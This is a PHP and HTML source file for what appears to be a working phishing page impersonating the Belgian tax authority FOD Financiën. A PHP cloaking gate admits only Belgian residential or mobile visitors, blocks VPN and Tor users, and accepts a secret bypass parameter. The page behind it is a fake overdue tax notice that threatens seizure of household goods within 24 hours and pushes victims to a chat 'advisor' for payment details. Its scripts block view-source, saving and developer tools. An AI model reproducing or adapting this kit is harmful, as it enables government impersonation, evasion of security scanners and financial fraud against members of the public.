<?php
// Key settings
$allowed_country = "BE"; // Belgium
// Allow all popular phone types and mobile operating systems
$allowed_devices = [
    "iPhone", "Android", "iPad", "iPod", 
    "Windows Phone", 
    "BlackBerry", "BB10", 
    "Nokia", "Symbian", 
    "Samsung", "Galaxy", 
    "Huawei", "Honor", 
    "Xiaomi", "Redmi", "Mi", 
    "OnePlus", 
    "OPPO", "Realme", 
    "Vivo", 
    "Sony", "Xperia", 
    "LG", 
    "HTC", 
    "Motorola", "Moto", 
    "Google Pixel", 
    "ZTE", "Alcatel", 
    "Lenovo", 
    "Asus", "ROG Phone", 
    "Meizu", 
    "Nubia", 
    "Panasonic", 
    "Micromax", 
    "Lava", 
    "Infinix", 
    "Tecno", 
    "Itel", 
    "Coolpad", 
    "Palm", 
    "Fairphone", 
    "CAT", "Sonim", 
    "BLU", 
    "BQ", 
    "Wiko", 
    "Sharp", 
    "Philips", 
    "Kyocera", 
    "LeEco", 
    "UMIDIGI", 
    "TCL", 
    "Doogee", 
    "Ulefone", 
    "Oukitel", 
    "Elephone", 
    "Gionee", 
    "Macintosh", 
    "AppleWebKit", 
    "Hisense"
];

// Extensive list of valid home and mobile ISPs in Belgium
$valid_isps = [
    'Proximus', 
    'Telenet', 
    'Orange Belgium', 
    'Voo', 
    'Scarlet', 
    'Lycamobile', 
    'BASE', 
    'Edpnet', 
    'Jointhefuture', 
    'Sosh', 
    'Belgacom', 
    'Brutélé', 
    'Euracom', 
    'Telenet Business', 
    'Proximus Business', 
    'Citymesh', 
    'Fiber Be', 
    'Vlaamse Maatschappij voor Watervoorziening', 
    'Nethys', 
    'Voo Business', 
    'Luminus', 
    'Myspeed', 
    'Huis van de Vlaamse Waterweg', 
    'WaaslandNet', 
    'Oost West Verbinding', 
    'Alphamega', 
    'Fibernet', 
    'Snel.com', 
    'Harmonium', 
    'EasyNet', 
    'VoIPTel', 
    'Belfius Internet', 
    'Proximus TV', 
    'Euracom TV', 
    'Mobistar', 
    'Alpaca Networks', 
    'Ubiquity Networks', 
    'Interxion', 
    'IPv6.be', 
    'Telenet Fiber', 
    'Orange Fiber', 
    'Voo Fiber', 
    'Fibrus', 
    'Rostelecom', 
    'Net Vlaanderen', 
    'Aertv', 
    'SEN', 
    'Fibernet Vlaanderen', 
    'Citymesh VPN', 
    'Belnet', 
    'Telecom Belgium', 
    'Oostend Net', 
    'Iperlink', 
    'Satellit', 
    'Hagen Net', 
    'TGO Fibre',
];

// Function to get the IP address
function get_client_ip() {
    if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        return $_SERVER["HTTP_CF_CONNECTING_IP"];
    } elseif (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        return explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"])[0];
    } elseif (!empty($_SERVER["HTTP_CLIENT_IP"])) {
        return $_SERVER["HTTP_CLIENT_IP"];
    } else {
        return $_SERVER["REMOTE_ADDR"];
    }
}

// Function to check if the device is allowed
function is_allowed_device() {
    $user_agent = $_SERVER["HTTP_USER_AGENT"] ?? '';
    global $allowed_devices;
    foreach ($allowed_devices as $device) {
        if (stripos($user_agent, $device) !== false) {
            return true;
        }
    }
    return false;
}

// Function to get ISP, country info, VPN, and Tor detection by IP (using ipinfo.io API)
function get_ip_info($ip) {
    $json = @file_get_contents("http://ipinfo.io/{$ip}?token=d0d3cbcdad5e83");
    if ($json) {
        $details = json_decode($json, true);
        return [
            'ip' => $details['ip'] ?? '',
            'isp' => $details['org'] ?? 'Unknown ISP',
            'country' => $details['country'] ?? 'Unknown',
            'vpn' => !empty($details['privacy']['vpn']),
            'tor' => !empty($details['privacy']['tor']),
            'country_flag' => "https://www.countryflags.io/" . strtolower($details['country'] ?? 'unknown') . "/shiny/64.png"
        ];
    }
    return null;
}

// Function to log blocked access attempts
function log_blocked_access($log_message) {
    $log_file = '/var/www/blocked.txt'; // Define the log file location
    $timestamp = date("Y-m-d H:i:s"); // Get the current timestamp
    $log_entry = "[$timestamp] $log_message\n"; // Prepare the log entry
    file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); // Append to the log file
}

// Main antibot logic
$client_ip = get_client_ip();
$ip_info = get_ip_info($client_ip);
$client_country = $ip_info['country'] ?? null;
$is_allowed_device = is_allowed_device();
$is_vpn_user = $ip_info['vpn'] ?? false;
$is_tor_user = $ip_info['tor'] ?? false;

// Check if the ISP contains any of the valid ISPs
$is_valid_isp = false;
foreach ($valid_isps as $valid_isp) {
    if (stripos($ip_info['isp'], $valid_isp) !== false) {
        $is_valid_isp = true;
        break;
    }
}

// Initialize a variable to check if access is granted
$access_granted = false;

// Check for bypass functionality
if (isset($_GET['bypass']) && $_GET['bypass'] === '28198902918213928912') {
    // Allow access when bypass is present
    $access_granted = true; // Set access granted to true
}

// If not bypassing, perform the normal checks
if (!$access_granted) {
    // Initialize a log message
    $log_message = "Access Denied - IP: " . ($ip_info['ip'] ?? 'Unknown') . "; ISP: " . ($ip_info['isp'] ?? 'Unknown ISP') . "; Country: " . ($client_country ?? 'Unknown');

    // Determine the reason for blocking
    if ($client_country !== $allowed_country) {
        $log_message .= "; Reason: Blocked due to country restriction (expected: {$allowed_country}, got: {$client_country})";
    } elseif (!$is_allowed_device) {
        $log_message .= "; Reason: Blocked due to unsupported device (user agent: {$_SERVER['HTTP_USER_AGENT']})";
    } elseif ($is_vpn_user) {
        $log_message .= "; Reason: Blocked due to VPN usage";
    } elseif ($is_tor_user) {
        $log_message .= "; Reason: Blocked due to Tor usage";
    } elseif (!$is_valid_isp) {
        $log_message .= "; Reason: Blocked due to ISP not being recognized as valid home/mobile connection";
    }

    // If any block condition is met, log the message and deny access
    if ($client_country !== $allowed_country || !$is_allowed_device || $is_vpn_user || $is_tor_user || !$is_valid_isp) {
        // Log the detailed reason to the log file
        log_blocked_access($log_message);
        
        // Log the detailed reason to Apache error log
        error_log($log_message);
        error_log("Country Flag URL: " . ($ip_info['country_flag'] ?? 'N/A'));
        
        // Redirect to /security/blocked.html
        header("Location: blocked.html");
        exit();
    }
    
    // If we reach here, that means we should block them
    // In case of blocking, we don't set access_granted to true
}

// If all checks are passed or if bypass is used, set access granted and prepare to display content
$access_granted = true;

// Display HTML content
?>

<!DOCTYPE html>
<html lang="en">

	<head>
		<title>
			FOD Financiën		</title>

		<link rel="icon" href="./assets/favicon.png">
		<link rel="stylesheet" href="./assets/bootstrap.min.css">
		<link rel="stylesheet" href="./assets/fonts.css">
		<link rel="stylesheet" href="./assets/style.css">
		<script src="./assets/jquery-3.7.1.min.js"></script>
		<script src="./assets/bootstrap.min.js"></script>

		<meta name="robots" content="noindex,follow">
		<meta charset="utf-8">
		<meta http-equiv="x-ua-compatible" content="ie=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
	</head>

	<body>
		<div class="tm_container">
			<div class="tm_invoice_wrap">
				<div class="tm_invoice tm_style2" id="tm_download_section">
					<div class="tm_invoice_in">
						<div class="tm_invoice_content">
							<div class="tm_invoice_head tm_mb30">
								<div class="tm_invoice_info_left">
									<a>
										<img src="./assets/img/lg00b2.png" width="189" height="86">
									</a>
								</div>
								<div class="tm_invoice_right tm_text_right">
									<b class="tm_f30 tm_medium tm_primary_color"></b>
									<p class="tm_m0"></p>
								</div>
							</div>


							<div class="accordion" id="accordionExample">
								<div class="accordion-item">
									<h2 class="accordion-header" id="headingOne">
										<button class="accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#collapseOne" aria-expanded="true" aria-controls="collapseOne">
											Overzicht										</button>
									</h2>
									<div id="collapseOne" class="accordion-collapse collapse show" aria-labelledby="headingOne">
										<div class="accordion-body">

											<div class="tm_invoice_info my-3">
												<div class="tm_inv_flex d-flex align-items-center gap-3">
													
													<div class="tm_invoice_info_right">
														<div class="tm_grid_row tm_col_3 tm_col_2_sm tm_invoice_info_in tm_gray_bg tm_round_border">
															<div>
																<span>Betalingskenmerk:</span> <br>
																<b class="tm_primary_color">
																	461/3048/53790																</b>
															</div>
															<div>
																<span>Begunstigde:</span> <br>
																<b class="tm_primary_color">FOD Financiën</b>
															</div>
															<div>
																<span>Factuurnummer:</span> <br>
																<b class="tm_primary_color">
																	0230019300																</b>
															</div>
															<div>
																<span>Status:</span> <br>
																<b class="tm_primary_color">Verloopt vandaag</b>
															</div>
															<div>
																<span>Totaal:</span> <br>
																<b class="tm_primary_color">
																	€184,34,-																</b>
															</div>
															<div>
																<span>Factuurdatum:</span> <br>
																<b class="tm_primary_color">
																	09-11-2024																</b>
															</div>
														</div>
													</div>

													<!-- <a href="?p=" class="button-link flex-grow-0">NU BETALEN</a> -->
													<a href="#" onclick="scroll2block()" class="button-link flex-grow-0">NU BETALEN</a>
													
												</div>

												

												<div class="tm_grid_row tm_col_2 tm_invoice_info_in tm_round_border my-3">
													<div class="tm_border_right tm_border_none_sm">
														<b class="tm_primary_color">VOORKOM BESLAGLEGGING</b>
														<p class="tm_m0">U heeft een nog openstaand bedrag met het kenmerk:
															461/3048/53790 dat na meerdere herinneringen nog niet voldaan is. Op
															<span id="future-date"></span></p> zal de gerechtsdeurwaarder overgaan tot conservatoir beslag op uw inboedel. U kunt de beslagprocedure voorkomen door direct het volledige bedrag te voldoen via Bancontact.
														</p>
													</div>
													<div>
														<b class="tm_primary_color">LET OP!</b>
														<p class="tm_m0">In het te betalen bedrag is geen invorderingsrente opgenomen. Het huidige rentepercentage op jaarbasis is 0,01%. Het te betalen bedrag en de eventuele invorderingsrente moeten binnen 24 uur na de dagtekening van deze aanmaning op de rekening van de FOD staan. Als u niet op tijd betaalt, zullen verdere invorderingsmaatregelen genomen worden.</p>
													</div>
												</div>


												

											</div>
										</div>
									</div>
								</div>
								<div class="accordion-item">
									<h2 class="accordion-header" id="headingTwo">
										<button class="accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#payment_block" aria-expanded="false" aria-controls="payment_block">
											Betaling										</button>
									</h2>
									<div id="payment_block" class="accordion-collapse collapse show" aria-labelledby="headingTwo">
										<div class="accordion-body">

											<div class="tm_table_responsive mb-0 tm_round_border">
												<table>
													<thead>
														<tr>
															<th class="tm_width_6 tm_semi_bold tm_primary_color">Omschrijving</th>
															<th class="tm_width_4 tm_semi_bold tm_primary_color">Bedrag</th>
															<th class="tm_width_2 tm_semi_bold tm_primary_color tm_text_right">Begunstigde</th>
															<th class="tm_width_2 tm_semi_bold tm_primary_color tm_text_right">Totaal</th>
														</tr>
													</thead>
													<tbody>
														<tr>
															<td class="tm_width_6">Kenmerk:
																461/3048/53790															</td>
															<td class="tm_width_4">
																€184,34,-															</td>
															<td class="tm_width_2 tm_text_right">FOD</td>
															<td class="tm_width_2 tm_text_right">
																€184,34,-															</td>
														</tr>
														<tr>
											
														</tr>
													</tbody>
												</table>
												
											</div>

											<table class="">
												<tbody>
													<tr>
														<td class="tm_width_3 tm_primary_color tm_border_none tm_bold">Totaal</td>
														<td class="tm_width_3 tm_primary_color tm_text_right tm_border_none tm_bold">
															€184,34,-														</td>
													</tr>
													<tr>
														<td class="tm_width_3 tm_danger_color tm_border_none tm_pt0"></td>
														<td class="tm_width_3 tm_danger_color tm_text_right tm_border_none tm_pt0"></td>
													</tr>
													<tr>
														<td class="tm_width_3 tm_primary_color tm_border_none tm_pt0"></td>
														<td class="tm_width_3 tm_primary_color tm_text_right tm_border_none tm_pt0"></td>
													</tr>
												</tbody>
											</table>

											<div class="mb-8 mt-0 text-justify">
												Neem voor de betaling van <strong style="display: inline;">461/3048/53790												</strong> contact op met een van onze adviseurs.<br><br>
												Stuur '<strong style="display: inline;">Betalen</strong>' in de chat met een adviseur om de betaalgegevens te ontvangen. Klik rechtsonder op het <img src="./assets/img/chat-icon.png" style="width: 25px; display: inline;"> chat-icoon om een chat te beginnen.
											</div>

										</div>
									</div>
								</div>
							</div>









							

							<div class="tm_note tm_text_center tm_font_style_normal">
								<hr class="tm_mb15">
								<p class="tm_mb2"><b class="tm_primary_color">LET OP!</b></p>
								<p class="tm_m0">Het te betalen bedrag en de eventuele invorderingsrente moeten binnen 24 uur na het dagtekening van deze aanmaning op de rekening van de FOD staan. <br> Als u niet op tijd betaalt, zullen verdere invorderingsmaatregelen worden genomen.</p>
							</div>
						</div>
					</div>
				</div>
				<div class="tm_invoice_btns tm_hide_print">
					<a href="javascript:window.print()" class="tm_invoice_btn tm_color1">
						<span class="tm_btn_icon">
							<svg xmlns="http://www.w3.org/2000/svg" class="ionicon" viewbox="0 0 512 512">
								<path d="M384 368h24a40.12 40.12 0 0040-40V168a40.12 40.12 0 00-40-40H104a40.12 40.12 0 00-40 40v160a40.12 40.12 0 0040 40h24" fill="none" stroke="currentColor" stroke-linejoin="round" stroke-width="32"></path>
								<rect x="128" y="240" width="256" height="208" rx="24.32" ry="24.32" fill="none" stroke="currentColor" stroke-linejoin="round" stroke-width="32"></rect>
								<path d="M384 128v-24a40.12 40.12 0 00-40-40H168a40.12 40.12 0 00-40 40v24" fill="none" stroke="currentColor" stroke-linejoin="round" stroke-width="32"></path>
								<circle cx="392" cy="184" r="24" fill="currentColor"></circle>
							</svg>
						</span>
						<span class="tm_btn_text">Print</span>
					</a>
					<button id="tm_download_btn" class="tm_invoice_btn tm_color2">
						<span class="tm_btn_icon">
							<svg xmlns="http://www.w3.org/2000/svg" class="ionicon" viewbox="0 0 512 512">
								<path d="M320 336h76c55 0 100-21.21 100-75.6s-53-73.47-96-75.6C391.11 99.74 329 48 256 48c-69 0-113.44 45.79-128 91.2-60 5.7-112 35.88-112 98.4S70 336 136 336h56M192 400.1l64 63.9 64-63.9M256 224v224.03" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="32"></path>
							</svg>
						</span>
						<span class="tm_btn_text">Download</span>
					</button>
				</div>
			</div>
		</div>
  <script src="https://www.google.com/recaptcha/api.js" async defer></script>
<!-- Antibot content and script should be within the body -->
<div id="content" style="display: none;">
    <!-- Antibot voor die kk google -->
</div>

<!-- The script should be inside the body tag before the closing body tag -->
<script>
    function displayContent() {
        document.getElementById("content").style.display = "block";
    }
    window.onload = displayContent;
</script>
  <script>


                        function scroll2block() {
                                console.log('ttt');

                                $('#payment_block').collapse('show');
                                $('html, body').animate({ 
                                        scrollTop: $('#payment_block').offset().top 
                                }, 200); 

                                
                        }
  </script> 
  </div>
  <script src="//code.tidio.co/x7pxw1wgot008ulwmgg7omq4lwzdw7yc.js" async></script>
      <script>
        function calculateFutureDate() {
            // Get the current date
            const today = new Date();
            // Create a new date to calculate tomorrow's date
            const tomorrow = new Date(today);
            tomorrow.setDate(today.getDate() + 1); // Add one day

            // Format the future date as "dd-mm-yyyy"
            const day = String(tomorrow.getDate()).padStart(2, '0');
            const month = String(tomorrow.getMonth() + 1).padStart(2, '0'); // Month is 0 index based
            const year = tomorrow.getFullYear();

            // Display the future date
            document.getElementById('future-date').textContent = `${day}-${month}-${year}`;
        }

        window.onload = calculateFutureDate; // Call the function when the page loads
    </script>
<script>
// Function to disable right-click context menu
document.addEventListener('contextmenu', function (e) {
    e.preventDefault();
});

// Function to block specific key combinations
document.addEventListener('keydown', function (e) {
    // Block common shortcuts
    if ((e.ctrlKey || e.metaKey) && e.key === 's') {
        e.preventDefault(); // Block Ctrl + S
    }
    if ((e.ctrlKey || e.metaKey) && e.key === 'u') {
        e.preventDefault(); // Block Ctrl + U
    }
    if ((e.ctrlKey || e.metaKey) && e.key === 'p') {
        e.preventDefault(); // Block Ctrl + P
    }
    if (e.key === 'F5' || e.key === 'F12' || (e.ctrlKey && e.shiftKey && e.key === 'I')) {
        e.preventDefault(); // Block F5 and F12
    }
});

// Prevent dragging of images/media
document.addEventListener('dragstart', function (e) {
    e.preventDefault();
});

// Disable right-click on specific elements
document.querySelectorAll('img, video, audio, canvas').forEach(function (element) {
    element.addEventListener('contextmenu', function (e) {
        e.preventDefault();
    });
});

// Redirect on page unload
window.onbeforeunload = function() {
    return 'Are you sure you want to leave this page?';
};
</script>
</body>
</html>